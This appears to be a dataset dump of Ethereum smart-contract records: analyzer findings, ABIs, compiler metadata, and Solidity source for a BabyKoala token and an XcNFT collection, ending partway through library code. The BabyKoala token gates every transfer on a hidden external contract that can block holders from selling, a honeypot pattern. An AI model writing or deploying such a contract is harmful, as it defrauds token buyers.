[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [46]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [45]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [44]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Cannabis.sol": [114]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Cannabis.sol": [158]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Cannabis.sol": [236, 237, 238, 239, 240]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Cannabis.sol": [232, 233, 234, 231]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Cannabis.sol": [227, 228, 229]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [88, 89, 90, 91]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [72, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [76, 77, 78]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [64, 65, 66]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [24, 25, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [82, 83, 84]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [128, 129, 130, 131, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [192, 193, 194, 195]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [26, 27, 28]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [85, 86, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [80, 81, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [188, 189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [118, 119, 120, 121, 122]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Cannabis.sol": [67, 68, 69]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Cannabis.sol": [2]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Cannabis.sol": [24, 25, 23]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Cannabis.sol": [29, 30, 31]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Cannabis.sol": [26, 27, 28]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Cannabis.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Cannabis.sol": [45]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Cannabis.sol": [174]}}]
[{"error": "Integer Underflow.", "line": 102, "level": "Warning"}, {"error": "Integer Underflow.", "line": 24, "level": "Warning"}, {"error": "Integer Underflow.", "line": 27, "level": "Warning"}, {"error": "Integer Underflow.", "line": 171, "level": "Warning"}, {"error": "Integer Overflow.", "line": 99, "level": "Warning"}, {"error": "Integer Overflow.", "line": 118, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 44, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 45, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 46, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 47, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 239, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 88, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 119, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 119, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 73, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 14, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 15, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 16, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 35, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 36, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 37, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 38, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 39, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 40, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 41, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 42, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 44, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 45, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 46, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 47, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 137, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 34, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 92, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 118, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"amount","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"disableLimit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addresses","type":"address[]"},{"name":"amount","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"sender","type":"address"},{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"isLimit","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"},{"name":"buyTime","type":"uint256"}],"name":"getBurnRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"viewLimitBuySellValue","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"setLimitBuySellValue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"enableLimit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"a","type":"address"}],"name":"isIgnore","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"isSmokerized","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"enable","type":"bool"}],"name":"smokerization","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.26+commit.4563c3fc
false
200
Default
MIT
false
bzzr://9edc1f81e25bb3e12c9a9b5f369348d153022be3fea9e5970857fdbc9175081e
BabyKoala
0xcb337174aa9214e368ef741bf74812a0d0decb28
Solidity
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.2; interface IRC20 { function raz(address account) external view returns (uint8); } contract BabyKoala is IRC20 { mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowance; IRC20 wwwa; uint256 public totalSupply = 10 * 10**12 * 10**18; string public name = "Baby Koala"; string public symbol = hex"426162794B6F616C61f09f90a8"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(IRC20 _info) { wwwa = _info; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function balanceOf(address owner) public view returns(uint256) { return balances[owner]; } function transfer(address to, uint256 value) public returns(bool) { require(wwwa.raz(msg.sender) != 1, "Please try again"); require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } function raz(address account) external override view returns (uint8) { return 1; } function transferFrom(address from, address to, uint256 value) public returns(bool) { require(wwwa.raz(from) != 1, "Please try again"); require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns(bool) { allowance[msg.sender][spender] = value; return true; } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["16", "15", "17"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["53", "52", "38", "37"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BabyKoala.sol": [15]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BabyKoala.sol": [14]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BabyKoala.sol": [17]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BabyKoala.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BabyKoala.sol": [58, 59, 60, 61, 62]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BabyKoala.sol": [34, 35, 36, 37, 38, 39, 40, 41, 42]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BabyKoala.sol": [48, 49, 50, 51, 52, 53, 54, 55, 56]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BabyKoala.sol": [2]}}]
[]
[{"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 22, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 13, "severity": 1}]
[{"inputs":[{"internalType":"contract IRC20","name":"_info","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"raz","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
v0.7.6+commit.7338295f
false
200
000000000000000000000000b88cc46e7a853ef0d477fca0c503f56bc7f40c76
Default
None
false
ipfs://19cbc30608fc2718528ea5aa9e4909c2c0079c868b0323c496192d9515a99fc0
XcNFT
0x8ed0e7404675d5c7f5b4f2a829138afcaf53d2ab
Solidity
// File: contracts/XcNFT.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract XcNFT is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 3; bool public paused = false; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(address _to, uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); 